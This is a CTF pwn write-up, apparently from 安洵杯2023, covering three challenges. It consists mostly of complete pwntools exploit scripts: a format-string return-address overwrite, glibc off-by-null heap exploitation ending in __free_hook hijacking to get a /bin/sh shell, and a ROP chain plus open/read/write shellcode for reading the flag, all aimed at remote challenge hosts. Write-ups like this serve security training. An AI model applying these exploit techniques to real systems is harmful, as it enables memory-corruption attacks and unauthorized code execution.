1. harde_pwn
漏洞点:
覆盖printf的返回地址
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
free = base + libc.dump('__free_hook')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search(b'/bin/sh').__next__()
free = base + libc.sym['__free_hook']
return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './harde_pwn'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("47.108.165.60",26695) if argv[1]=='r' else process(binary)
# libc = ELF('./libc.so.6',checksec=False)
def dbg():
if argv[1]=='r':
return
gdb.attach(p)
pause()
def itr():
p.interactive()
from ctypes import cdll
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x61616161)
# 174293481
sa2("Welcome to a ctype game!\n",b"a"*0x20)
for i in range(21):
sla("input: \n",(libc.rand()^ 0x24) + 1)
sla2("input your data ;)\n",b"%11$p")
libc_base = int(ru("\n"),16)-171408
realloc_hook = libc_base + 0x000000000220498
leak("realloc_hook",realloc_hook)
sla2("input your data ;)\n",b"%8$p")
stack = int(ru("\n"),16) + 8
printf_ret = stack - 48
onegadget = 0xebcf5 + libc_base
def fmt(first, second, target_addr, content):
for i in range(2,-1,-1):
sla2("input your data ;)\n","%{}c%{}$hn".format((target_addr+2*i)&0xffff,first))
sla2("input your data ;)\n","%{}c%45$hn".format((content>>(16*i))&0xffff))
fmt(15,45,stack,printf_ret)
fmt(15,45,stack+8,printf_ret+2)
fmt(15,45,stack+16,printf_ret+4)
payload = "%" + str(onegadget & 0xffff) + "c%11$hn"
payload += "%" + str(0x10000-(onegadget & 0xffff)+((onegadget>>16)&0xffff)) + "c%12$hn"
payload += "%" + str(0x10000-((onegadget>>16) & 0xffff)+((onegadget>>32)&0xffff)) + "c%13$hn"
p.sendafter("input your data ;)",payload)
itr()
2. pwnpwn
漏洞点:
glibc2.31的off by null
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
free = base + libc.dump('__free_hook')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
free = base + libc.sym['__free_hook']
return (system,binsh,free)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './pwnpwn'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('47.108.165.60',27178) if argv[1]=='r' else process(binary)
libc2 = ELF('./libc-2.31.so',checksec=False)
import time
from ctypes import cdll
libc=cdll.LoadLibrary('./libc-2.31.so')
def dbg():
if argv[1]=='r':
return
gdb.attach(p)
pause()
def itr():
p.interactive()
_del,_show,_add,_edit,_login = 4,2,1,3,5
menu_str = "root@$\n"
index_str = "give me your index:\n"
size_str = "give me your size:\n"
content_str = "give me your content:\n"
def delete(index):
sla(menu_str,_del)
sla(index_str,index)
def show(index):
sla(menu_str,_show)
sla(index_str,index)
def add(index, size, content="aaaaaaaa"):
sla(menu_str,_add)
sla(index_str,index)
sla(size_str,size)
sa2(content_str,content)
def edit(index, content="a"):
sla(menu_str,_edit)
sla("give me your index\n",index)
sla("give me your index\n",index)
sa2(content_str,content)
'''
flag = 1:edit,delete
flag = 0:show
'''
def login(username, passwd):
sla(menu_str,_login)
sla2("please input your username\n",username)
sla2("please input your passwd\n",passwd)
libc.srand(int(time.time()))
v8 = 0
for i in range(4):
v8 = v8 * 10 + (libc.rand()%10)
sla("please input your number:",v8)
login(b'1', b'1') # set flag = 1
add(0,0x418)
add(1,0x108)
add(2,0x438)
add(3,0x438)
add(4,0x108)
add(5, 0x4e8)
add(6,0x428)
add(7,0x108)
# 6<-->3<--->0
delete(0)
delete(3)
delete(6)
# 2+3<-->6<-->0
delete(2)
# fake chunk
# 利用之前chunk3残留的地址,fd指向0,bk指向6
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2])
#将剩余的chunk申请走
add(3,0x418)
add(6,0x428)
add(0,0x418)
# 3<-->0
delete(0)
delete(3)
# 利用off by null 将0的bk最后一个字节覆盖成0x00(最开始chunk3的地址)
add(0, 0x418, b'a' * 8)
add(3, 0x418)
# 5<-->6<-->3
# 利用跟上面一样的步骤
delete(3)
delete(6)
delete(5)
# 利用off by null 覆盖之前的6的fd最后一个字节为0x00(最开始chunk3的地址)
add(5, 0x4f8, b'5' * 0x4e8 + p64(0x431))
# 将剩余的全部申请走
add(6, 0x418, b'6')
add(3, 0x418)
# 将chunk5的prev size设置为0x550,然后利用off by null 覆盖size成0x500,主要将prev in use位改为0
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
# unlink
delete(5)
# 切割剩下的部分放进unsorted bin与chunk4重合
add(5, 0x438)
login(b'1', b'1234123') # set flag = 0
# 常规的uaf打法
show(4)
libc_base = uu64(ru(b"\x7f",False)[-6:]) - 0x1ecbe0
leak("libc_base",libc_base)
add(8,0x108)
login(b'1', b'1'*0x103) # set flag = 1 整数溢出
delete(7)
delete(8)
edit(4, p64(libc_base+libc2.sym['__free_hook']))
add(7, 0x108, b"/bin/sh\x00")
add(8, 0x108, p64(libc_base+libc2.sym['system']))
delete(7)
itr()
3. DE_CAT
漏洞点:
glibc2.35的off by null,开了沙箱
通过environ泄露栈地址,然后修改返回地址实现orw
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
free = base + libc.dump('__free_hook')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search(b'/bin/sh').__next__()
free = base + libc.sym['__free_hook']
return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './CAT_DE'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("47.108.165.60", 36399) if argv[1]=='r' else process(binary)
libc = ELF('./libc.so.6',checksec=False)
def dbg():
if argv[1]=='r':
return
gdb.attach(p)
pause()
def itr():
p.interactive()
_create,_edit,_delete,_show = 1,4,2,3
menu = "input your car choice >> \n"
size_str = "size:\n"
content_str= "content:\n"
index_str = "idx:\n"
def create(size,content):
sla(menu,_create)
sla(size_str,size)
sa2(content_str,content)
def edit(index,content):
sla(menu,_edit)
sla(index_str,index)
sa2(content_str,content)
def delete(index):
sla(menu,_delete)
sla(index_str,index)
def show(index):
sla(menu,_show)
sla(index_str,index)
create(0x4f8, b"a") #0
create(0x4f8, b"a") #1
delete(0)
create(0x5f8, b"a") #0
create(0x4f8, b"a") #2
show(2)
ru("\x00\x00")
libc_base = uu64(ru("\x00\x00"))-0x21a110
heap_base = uu64(ru("\x00\x00"))-0x290
leak("libc_base", libc_base)
leak("heap_base", heap_base)
edit(2, flat({
0x0: heap_base + 0x290,
0x8: heap_base + 0x290,
0x4f0: 0x500
}, filler=b"\x00",length=0x4f8))
delete(1)
create(0x1f8, b"a") #1
create(0x1f8, b"a") #3
delete(3)
delete(1)
# 减去0x10防止申请时输入覆盖最后一个字节为0x00
edit(2, p64((libc_base + libc.symbols['environ'] - 0x10)^(heap_base + 0x2a0) >> 12))
create(0x1f8, b"a") #1
create(0x1f8, b"a") #3
show(3)
# 多减一个8为了堆块对齐0x10
stack_ret = uu64(ru("\x7f",False)[-6:])-0x148
leak("stack_ret", stack_ret)
create(0x1f8, b"a") #4
delete(4)
delete(1)
edit(2, p64(stack_ret^((heap_base + 0x2a0) >> 12)))
create(0x1f8, b"a") #1
pop_rdi = libc_base + 0x000000000002a3e5
create(0x1f8, flat([
0,
libc_base + 0x000000000002a3e5,
(stack_ret-0x148) & (~0xfff),
libc_base + 0x000000000002be51,
0x1000,
libc_base + 0x000000000011f497,
7, 0,
libc_base + 0x0000000000045eb0,
10,
libc_base + 0x0000000000091396,
libc_base + 0x000000000008821d,
]) + asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''') + b'\0')
itr()
其中libc.symbols['__environ'])中间的'__environ'可写成'_environ'或者'environ'都可以,暂不明白原因,望知道的大佬告知
问题:
在DE_CAT中使用【八芒星计划】 ORW_rop orw_真岛忍的博客-CSDN博客中的libc.search来构造pop链找到的地址有的会出现在没有执行权限的段中,导致读取失败
参考链接:
安洵杯2023 Writeup - 星盟安全团队
栈溢出 Stack smash 利用 | 0x4C43's Blog
environ泄露栈地址+orw+uaf_thna0s的博客-CSDN博客